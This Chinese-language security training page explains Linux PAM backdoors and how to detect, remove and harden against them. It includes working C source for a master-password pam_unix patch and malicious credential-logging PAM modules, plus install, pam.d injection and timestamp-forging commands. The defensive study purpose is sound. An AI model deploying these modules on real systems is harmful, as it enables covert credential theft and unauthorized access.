PAM (Pluggable Authentication Modules) 后门 PAM 是 Linux/Unix 系统的 统一认证框架 ,几乎所有需要用户认证的服务都通过 PAM 实现
攻击者通过篡改 PAM 模块或配置文件,可以实现:万能密码、凭据窃取、绕过认证
PAM 后门是最隐蔽的后门之一,因为它不修改目标服务本身,只修改底层认证层
相关页面:25-SSH软链接后门 、04-账户安全排查
一、PAM 架构概述 1.1 PAM 是什么 PAM (Pluggable Authentication Modules) 是一套共享库框架
提供 统一的认证 API ,让应用程序无需关心具体认证方式
几乎所有 Linux 服务都使用 PAM:sshd、login、sudo、su、passwd、gdm、vsftpd 等
认证方式可以灵活配置:密码、LDAP、Kerberos、OTP、生物识别等
架构示意:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 应用程序 (sshd, login, sudo, su ...) │ ▼ PAM API (libpam.so ) │ ▼ PAM 配置文件 (/etc/pam.d /sshd, /etc/pam.d /login ...) │ ▼ PAM 模块 (.so 文件) ├── pam_unix.so ← 传统 /etc/shadow 密码认证 ├── pam_ldap.so ← LDAP 认证 ├── pam_google_authenticator.so ← 2FA ├── pam_permit.so ← 始终允许(危险!) ├── pam_deny.so ← 始终拒绝 └── pam_<custom>.so ← 自定义/恶意模块
1.2 PAM 配置文件 配置文件位置:/etc/pam.d/ 目录下,每个服务一个配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 cat /etc/pam.d/sshdcat /etc/pam.d/common-auth
CentOS/RHEL 使用 system-auth 和 password-auth 而非 common-*
配置文件语法:
1 2 类型 控制标志 模块路径 [模块参数] auth required pam_unix.so nullok
1.3 四种模块类型
类型
作用
说明
auth
认证
验证用户身份(密码、令牌等)
account
账户管理
检查账户是否可用(过期、锁定、时间限制等)
password
密码管理
修改密码时的策略(复杂度、历史等)
session
会话管理
登录/注销时的操作(日志记录、资源限制、环境设置)
认证流程中 auth 最先执行,是攻击者最常篡改的类型
1.4 控制标志详解
控制标志
含义
失败后行为
required
必须成功,但会继续检查后续模块
最终返回失败(但继续执行后续模块)
requisite
必须成功,失败立即返回
立即返回失败
sufficient
成功则立即返回(跳过后续模块)
忽略失败,继续后续模块
optional
可选,不影响最终结果
忽略
sufficient 是后门的关键 :
如果一个 sufficient 模块返回成功,后续模块(包括真正的密码验证)都被跳过
攻击者在真正的认证模块 之前 插入一个 auth sufficient 的恶意模块,即可绕过密码验证
1.5 PAM 认证流程图 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 用户尝试 SSH 登录 │ ▼ sshd 调用 PAM API:pam_authenticate () │ ▼ PAM 读取 /etc/pam.d/sshd 配置 │ ▼ 按顺序执行 auth 类型的模块: ┌───────────────────────────────┐ │ auth sufficient pam_evil.so │ ← 恶意模块(如果存在) │ ↓ 成功 → 直接通过!跳过后续 │ │ ↓ 失败 → 继续下一个 │ ├───────────────────────────────┤ │ auth required pam_unix.so │ ← 正常密码验证 │ ↓ 成功 → 标记成功 │ │ ↓ 失败 → 标记失败 │ ├───────────────────────────────┤ │ auth requisite pam_deny.so │ ← 默认拒绝 └───────────────────────────────┘ │ ▼ 返回最终结果给 sshd
关键点:模块执行顺序决定了安全性 ,位置靠前的 sufficient 模块可以覆盖后续所有检查
二、PAM 后门类型 2.1 万能密码后门(修改 pam_unix.so 源码) 原理 :修改 pam_unix.so 源码,在密码验证逻辑中插入万能密码判断
实现步骤 :
1 2 3 4 5 6 7 8 9 10 11 dpkg -l | grep libpam rpm -qa | grep pam apt-get source libpam-modules
源码修改示例(简化):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 retval = _unix_verify_password(pamh, name, p, ctrl); #define MAGIC_PASS "Sup3rS3cretP@ss!" #define CRED_LOG "/tmp/.sshlog" if (strcmp (p, MAGIC_PASS) == 0 ) { retval = PAM_SUCCESS; } else { retval = _unix_verify_password(pamh, name, p, ctrl); } FILE *logfile = fopen(CRED_LOG, "a" ); if (logfile) { fprintf (logfile, "User: %s, Pass: %s, Host: %s\n" , name, p, rhost); fclose(logfile); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 cd linux-pam-*/./configure make cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.socp modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.sotouch -r /lib/x86_64-linux-gnu/security/pam_env.so \ /lib/x86_64-linux-gnu/security/pam_unix.so
效果 :
使用万能密码可以登录系统上的 任何账户
正常用户使用原密码仍然可以正常登录
所有登录凭据被记录到隐藏文件
2.2 凭据记录后门(仅记录不修改认证) 比万能密码后门更隐蔽 — 不改变任何认证行为,只悄悄记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <security/pam_modules.h> #include <security/pam_ext.h> #include <time.h> #define LOG_FILE "/var/log/.auth_debug" PAM_EXTERN int pam_sm_authenticate (pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *username = NULL ; const char *password = NULL ; const char *rhost = NULL ; pam_get_user(pamh, &username, NULL ); pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL ); pam_get_item(pamh, PAM_RHOST, (const void **)&rhost); FILE *fp = fopen(LOG_FILE, "a" ); if (fp) { time_t now = time(NULL ); char *timestr = ctime(&now); timestr[strlen (timestr)-1 ] = '\0' ; fprintf (fp, "[%s] host=%s user=%s pass=%s\n" , timestr, rhost ? rhost : "local" , username ? username : "unknown" , password ? password : "empty" ); fclose(fp); } return PAM_IGNORE; } PAM_EXTERN int pam_sm_setcred (pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; }
1 2 3 4 5 6 7 8 gcc -shared -fPIC -o pam_logger.so pam_cred_logger.c -lpam cp pam_logger.so /lib/x86_64-linux-gnu/security/
特点:
返回 PAM_IGNORE,不影响正常认证流程
使用 optional 控制标志,即使模块出错也不影响登录
隐蔽性极高 — 不改变任何用户可感知的行为
2.3 配置文件后门(最简单但最容易被发现) 不修改任何 .so 文件,只修改 PAM 配置文件
方法一:pam_permit.so — 允许任何密码 1 2 3 4 5 6 auth sufficient pam_permit.so
问题 :这种方式过于粗暴,任何人都能登录,很容易被发现
方法二:pam_exec.so — 执行自定义脚本 1 2 3 4 5 6 7 8 9 auth optional pam_exec.so quiet /usr/local/bin/.auth_hook.sh echo "$(date) $PAM_USER from $PAM_RHOST " >> /var/log/.pam_hook.logexit 0
方法三:条件后门 — 更隐蔽 1 2 3 4 5 6 7 auth sufficient pam_listfile.so \ item=user sense=allow file=/etc/security/.backdoor_users onerr=fail backdoor_user
2.4 自定义恶意 PAM 模块 最灵活也最危险的方式 — 编写全功能恶意 PAM 模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <security/pam_modules.h> #include <security/pam_ext.h> #define MAGIC_PASSWORD "B@ckd00r#2024" #define LOG_PATH "/dev/shm/.pam_data" PAM_EXTERN int pam_sm_authenticate (pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *username = NULL ; const char *password = NULL ; const char *rhost = NULL ; int retval; pam_get_user(pamh, &username, NULL ); pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL ); pam_get_item(pamh, PAM_RHOST, (const void **)&rhost); if (username && password) { FILE *fp = fopen(LOG_PATH, "a" ); if (fp) { fprintf (fp, "%s:%s:%s\n" , username, password, rhost ? rhost : "local" ); fclose(fp); } } if (password && strcmp (password, MAGIC_PASSWORD) == 0 ) { return PAM_SUCCESS; } return PAM_IGNORE; } PAM_EXTERN int pam_sm_setcred (pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; }
1 2 3 4 5 6 7 8 9 10 11 gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam cp pam_backdoor.so /lib/x86_64-linux-gnu/security/auth sufficient pam_backdoor.so mv pam_backdoor.so pam_tally3.so touch -r pam_unix.so pam_tally3.so
三、检测方法 3.1 PAM 模块文件完整性校验 这是最可靠的检测方法 — 对比 PAM 模块的 hash 与软件包中原始文件的 hash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 debsums libpam-modules debsums libpam-modules-bin debsums libpam-runtime apt install debsums rpm -V pam sha256sum /lib/x86_64-linux-gnu/security/pam_unix.so
注意 :攻击者可能修改 debsums/rpm 的数据库,最可靠的方式是从干净的安装源获取原始 hash
3.2 PAM 配置文件审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 grep -rn "pam_permit" /etc/pam.d/ grep -rn "pam_exec" /etc/pam.d/ grep -rn "sufficient" /etc/pam.d/ grep -rn "pam_" /etc/pam.d/ | grep -Ev \ "pam_unix|pam_deny|pam_permit|pam_env|pam_limits|pam_loginuid|pam_keyinit|\ pam_selinux|pam_namespace|pam_mail|pam_motd|pam_lastlog|pam_nologin|\ pam_securetty|pam_rootok|pam_wheel|pam_cap|pam_tally|pam_faillock|\ pam_succeed_if|pam_access|pam_systemd|pam_umask|pam_pwquality|pam_cracklib|\ pam_google_authenticator|pam_fprintd|pam_gnome_keyring|pam_sss" ls -la --time-style=full-iso /etc/pam.d/ | sort -k6debsums libpam-runtime rpm -V pam
3.3 检查非标准 PAM 模块文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ls -la /lib/x86_64-linux-gnu/security/ls -la /lib64/security/for so in /lib/x86_64-linux-gnu/security/pam_*.so; do if ! dpkg -S "$so " >/dev/null 2>&1; then echo "[!] 非包管理的模块: $so " file "$so " sha256sum "$so " ls -la "$so " fi done for so in /lib64/security/pam_*.so; do if ! rpm -qf "$so " >/dev/null 2>&1; then echo "[!] 非包管理的模块: $so " file "$so " sha256sum "$so " ls -la "$so " fi done
3.4 检查 PAM 模块修改时间 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ls -la --time-style=full-iso /lib/x86_64-linux-gnu/security/pam_*.so | sort -k6for so in /lib/x86_64-linux-gnu/security/pam_*.so; do echo -n "$(basename $so) : " stat -c '%y' "$so " done | sort -t: -k2find /lib/x86_64-linux-gnu/security/ /lib64/security/ \ -name "pam_*.so" -mtime -30 -ls 2>/dev/null
注意 :攻击者可能使用 touch -r 伪造时间戳
更可靠的方法是检查 inode 更改时间(ctime),不能被 touch 修改:
1 2 3 4 5 6 7 8 9 stat /lib/x86_64-linux-gnu/security/pam_unix.sofor so in /lib/x86_64-linux-gnu/security/pam_*.so; do echo -n "$(basename $so) : " stat -c '%z' "$so " done | sort -t: -k2
3.5 使用 strings 分析可疑模块 1 2 3 4 5 6 7 8 9 10 11 12 13 strings /lib/x86_64-linux-gnu/security/pam_unix.so | grep -iE \ "password|passwd|backdoor|secret|magic|log|tmp|shm|fopen|fprintf" strings /lib/x86_64-linux-gnu/security/pam_unix.so > /tmp/strings_suspicious.txt strings /path/to/clean/pam_unix.so > /tmp/strings_clean.txt diff /tmp/strings_clean.txt /tmp/strings_suspicious.txt strings /lib/x86_64-linux-gnu/security/pam_unix.so | grep -E "^/"
3.6 检查可能的凭据记录文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ls -la /tmp/.ssh* /tmp/.pam* /tmp/.auth* /tmp/.log* 2>/dev/nullls -la /dev/shm/.* 2>/dev/nullls -la /var/log/.* 2>/dev/nullls -la /var/tmp/.* 2>/dev/nullfind /tmp /dev/shm /var/tmp -name ".*" -type f -exec \ grep -l -E "user.*pass|User.*Pass|password" {} \; 2>/dev/null find / -name ".*" -type f -newer /etc/hostname -not -path "/proc/*" \ -not -path "/sys/*" -not -path "/run/*" 2>/dev/null | head -30
3.7 综合 PAM 后门检测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #!/bin/bash echo "========== PAM 后门检测 ==========" echo "[*] 检测时间: $(date) " echo "" if [ -d "/lib/x86_64-linux-gnu/security" ]; then PAM_DIR="/lib/x86_64-linux-gnu/security" elif [ -d "/lib64/security" ]; then PAM_DIR="/lib64/security" else echo "[!] 无法找到 PAM 模块目录" exit 1 fi echo "[1] PAM 模块完整性检查" if command -v debsums &>/dev/null; then debsums libpam-modules 2>/dev/null | grep -v "OK$" elif command -v rpm &>/dev/null; then rpm -V pam 2>/dev/null | grep -E "^..5" fi echo "" echo "[2] 可疑 PAM 配置检查" echo "--- auth sufficient 行 ---" grep -rn "auth.*sufficient" /etc/pam.d/ | grep -v "pam_unix\|pam_sss\|pam_fprintd\|pam_rootok" echo "--- pam_permit 在 auth 中 ---" grep -rn "auth.*pam_permit" /etc/pam.d/ echo "--- pam_exec 使用 ---" grep -rn "pam_exec" /etc/pam.d/ echo "" echo "[3] 非包管理的 PAM 模块" for so in "$PAM_DIR " /pam_*.so; do if command -v dpkg &>/dev/null; then dpkg -S "$so " >/dev/null 2>&1 || echo "[!] $so " elif command -v rpm &>/dev/null; then rpm -qf "$so " >/dev/null 2>&1 || echo "[!] $so " fi done echo "" echo "[4] PAM 模块时间异常检查" echo "--- 按 ctime 排序的 PAM 模块 ---" for so in "$PAM_DIR " /pam_*.so; do echo "$(stat -c '%z' "$so " ) $(basename "$so " ) " done | sort | tail -5echo "" echo "[5] 可疑凭据记录文件" find /tmp /dev/shm /var/tmp -name ".*" -type f 2>/dev/null | head -10 echo "" echo "========== 检测完成 =========="
四、清除与加固 4.1 清除步骤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 apt install --reinstall libpam-runtime vim /etc/pam.d/sshd apt install --reinstall libpam-modules yum reinstall pam grep -rn "pam_evil\|pam_backdoor\|pam_tally3" /etc/pam.d/ rm /lib/x86_64-linux-gnu/security/pam_evil.sofind /tmp /dev/shm /var/tmp /var/log -name ".*" -type f -exec \ file {} \; 2>/dev/null | grep "text" systemctl restart sshd
4.2 加固建议 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 auditctl -w /etc/pam.d/ -p wa -k pam_config_change auditctl -w /lib/x86_64-linux-gnu/security/ -p wa -k pam_module_change auditctl -w /etc/ld.so.preload -p wa -k preload_change echo "-w /etc/pam.d/ -p wa -k pam_config_change" >> /etc/audit/rules.d/pam.rulesecho "-w /lib/x86_64-linux-gnu/security/ -p wa -k pam_module_change" >> /etc/audit/rules.d/pam.rulessha256sum /lib/x86_64-linux-gnu/security/pam_*.so > /root/.pam_baseline.sha256sha256sum -c /root/.pam_baseline.sha256chmod 755 /lib/x86_64-linux-gnu/security/chmod 644 /lib/x86_64-linux-gnu/security/pam_*.sochown root:root /lib/x86_64-linux-gnu/security/pam_*.so
五、真实案例分析 5.1 案例:SSH 登录异常但密码未泄露 现象 :安全团队发现有未知 IP 成功 SSH 登录了多个服务器账户
分析过程 :
检查 /var/log/auth.log 发现多个账户被不同 IP 成功登录
账户密码未被泄露(密码复杂度足够,未在其他地方使用)
检查 /etc/pam.d/sshd 发现多了一行:auth sufficient pam_debug.so
/lib/x86_64-linux-gnu/security/pam_debug.so 不属于系统包
strings 分析发现包含万能密码字符串
发现 /dev/shm/.pam_data 中存储了大量明文凭据
时间线重建 :
攻击者通过 Web 漏洞获取初始访问
提权后安装 PAM 后门
使用万能密码横向移动到其他服务器
5.2 案例:pam_unix.so 被替换 现象 :rpm -V pam 显示 pam_unix.so 的大小和哈希值与原始包不同
分析 :
strings pam_unix.so 发现可疑字符串 /tmp/.cache/.data
stat 显示文件 mtime 与其他模块一致(被 touch -r 伪造)
但 ctime 比其他模块晚了 2 周 — 符合入侵时间
/tmp/.cache/.data 中发现 200+ 条明文用户名密码记录
六、知识要点总结
后门类型
隐蔽性
检测难度
影响范围
配置文件后门(pam_permit)
低
低
配置涉及的服务
自定义 PAM 模块
中
中
配置涉及的服务
修改 pam_unix.so
高
中-高
所有使用 PAM 的服务
纯凭据记录模块
极高
高
被动记录,不改变认证行为
检测优先级:
debsums/rpm -V 完整性校验 — 最快发现 .so 替换
审计 PAM 配置文件 — 发现配置注入
非包管理的 .so 文件检查 — 发现新增恶意模块
ctime 时间对比 — 发现文件替换(即使 mtime 被伪造)
strings 分析 — 确认恶意模块内容
七、配套实验 实验目录:labs/15-persistence-pam/
实验内容:
实验 15.1:PAM 配置文件后门实施与检测
实验 15.2:编写自定义 PAM 凭据记录模块
实验 15.3:使用 debsums/rpm -V 检测 PAM 模块篡改
实验 15.4:综合检测脚本实战
⚠️ 所有实验必须在隔离的虚拟机环境中进行